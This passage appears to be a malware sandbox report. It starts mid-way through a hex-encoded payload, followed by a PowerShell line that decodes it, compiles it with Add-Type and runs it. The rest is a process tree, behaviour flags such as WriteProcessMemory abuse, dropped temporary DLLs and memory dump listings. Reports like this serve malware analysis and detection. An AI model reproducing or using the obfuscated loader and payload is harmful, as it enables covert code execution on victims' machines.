a50594405110a780d444b595400187b5e45151e4c07570e0114011907025d57044005110a470e5759041d02534f117c0242684547444c5a060d0e186c5e7c02420e051d451d0849055c075a181907025d57044005110a560e0f00060656166f54572f5a51545b18164b080d08505e060802534f116209547b5d5c09584c191c57454c435c02511856025f04010603517356475c1e59565c5002421676501870575d510944685041041e7d5f430544575f5809584c1f661c535b58540070575d5109441670451c5a515254185f575f710d4259181e4e6a64430d5f550e131e00575b07060e571013015e030b050559021a180e1f0f0055530a0116755a1b58545e540870515d50445a5952035f545919175c020c03010f0209015358050908010e030104015c570d570155020d05025c520d030008020b00575c500d080059075d04015d500c040008020d00545c060d57000d075d04065c0f0d530008075e04055d020d0217451a5f06065e0f0f071c57664a5e5609454b62410d444c785b0a591843030a015c0c5b094118614703555d42463f4259434125585e5e1d0b010b030c5b00110a651e595b54461f186b45541e421043030a015c180e1e534c44470216080a481c435a5d5c0f164b4554185f5b11461844515f524c5a5952035f545919461844515f524c440f020254505a184e1f424a585b0b164a00015a020f0c1700000000004e0d4b454705585f115f590e5b52083f424a585b0b187d5c45184f03575a1e1e515f414c5f05010e050a4a06065b0e5e531b2053565641040d511a085e1f43534c18531854515b000a0c7603584e544718186c5e7715425d19475b050f09530e186b44571f424a585b0b1e511d07451a09071c575c0d09560f1d05195604574a181d09520f07074c6818430458000c066e445f17031c4c1318430458000c061b2053565641046b110a481e534c4447021652040d0f55034c48'; $h2b81d2 = lac63ba($h2b81d); Add-Type -TypeDefinition $h2b81d2; [a4a42]::q846d1();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fsymwsk0\fsymwsk0.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFF.tmp" "c:\Users\Admin\AppData\Local\Temp\fsymwsk0\CSC69573974589F4F4597C112FB4387C57A.TMP"
4⤵
PID:1940

C:\Program Files\Microsoft Office\Office14\excelcnv.exe
"C:\Program Files\Microsoft Office\Office14\excelcnv.exe" -Embedding
1⤵
PID:1960

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\0rec0jbq\0rec0jbq.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEEE.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEFD.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEFE.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEFF.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESF00.tmp

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsymwsk0\fsymwsk0.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\rwbousj4\rwbousj4.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\utf0rkuj\utf0rkuj.dll

Download Submit
C:\Users\Admin\AppData\Local\Temp\uthlc2il\uthlc2il.dll

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0rec0jbq\0rec0jbq.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0rec0jbq\0rec0jbq.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0rec0jbq\CSCFF8F4649FDB44452B0A73F7DD49776D.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fsymwsk0\CSC69573974589F4F4597C112FB4387C57A.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fsymwsk0\fsymwsk0.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fsymwsk0\fsymwsk0.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rwbousj4\CSC9CD8C47688F94510ADE6CCC10E34F10.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rwbousj4\rwbousj4.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\rwbousj4\rwbousj4.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utf0rkuj\CSC3DB53344DB2648F5A91F537C5573FECD.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utf0rkuj\utf0rkuj.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\utf0rkuj\utf0rkuj.cmdline

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uthlc2il\CSCFBF4D0F8A3D94AA1A93279D423FF83C1.TMP

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uthlc2il\uthlc2il.0.cs

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uthlc2il\uthlc2il.cmdline

Download Submit
memory/1492-13-0x0000000005DE0000-0x0000000005EE0000-memory.dmp

Filesize
1024KB

Download
memory/1492-16-0x0000000004890000-0x000000000489A000-memory.dmp

Filesize
40KB

Download
memory/1500-22-0x00000000004DD000-0x00000000004E1000-memory.dmp

Filesize
16KB

Download
memory/1500-23-0x00000000004DD000-0x00000000004E1000-memory.dmp

Filesize
16KB

Download
memory/1612-18-0x00000000060A0000-0x00000000061A0000-memory.dmp

Filesize
1024KB

Download
memory/1612-20-0x00000000060A0000-0x00000000061A0000-memory.dmp

Filesize
1024KB

Download
memory/1848-34-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download
memory/1848-37-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download
memory/1848-40-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download
memory/1848-31-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download
memory/1848-28-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download
memory/1848-27-0x0000000005A40000-0x0000000005A44000-memory.dmp

Filesize
16KB

Download
memory/1916-3-0x0000000004680000-0x0000000004688000-memory.dmp

Filesize
32KB

Download
memory/1916-1-0x00000000060E0000-0x00000000061E0000-memory.dmp

Filesize
1024KB

Download
memory/1960-29-0x0000000006D40000-0x0000000006D44000-memory.dmp

Filesize
16KB

Download
memory/1960-26-0x0000000006D40000-0x0000000006D44000-memory.dmp

Filesize
16KB

Download
memory/1960-35-0x0000000006D40000-0x0000000006D44000-memory.dmp

Filesize
16KB

Download
memory/1960-38-0x0000000006D40000-0x0000000006D44000-memory.dmp

Filesize
16KB

Download
memory/1960-32-0x0000000006D40000-0x0000000006D44000-memory.dmp

Filesize
16KB

Download
memory/1960-41-0x0000000005D40000-0x0000000005D44000-memory.dmp

Filesize
16KB

Download
memory/2028-11-0x0000000004850000-0x0000000004859000-memory.dmp

Filesize
36KB

Download
memory/2028-9-0x0000000005A50000-0x0000000005B50000-memory.dmp

Filesize
1024KB

Download
memory/2028-7-0x0000000005A50000-0x0000000005B50000-memory.dmp

Filesize
1024KB

Download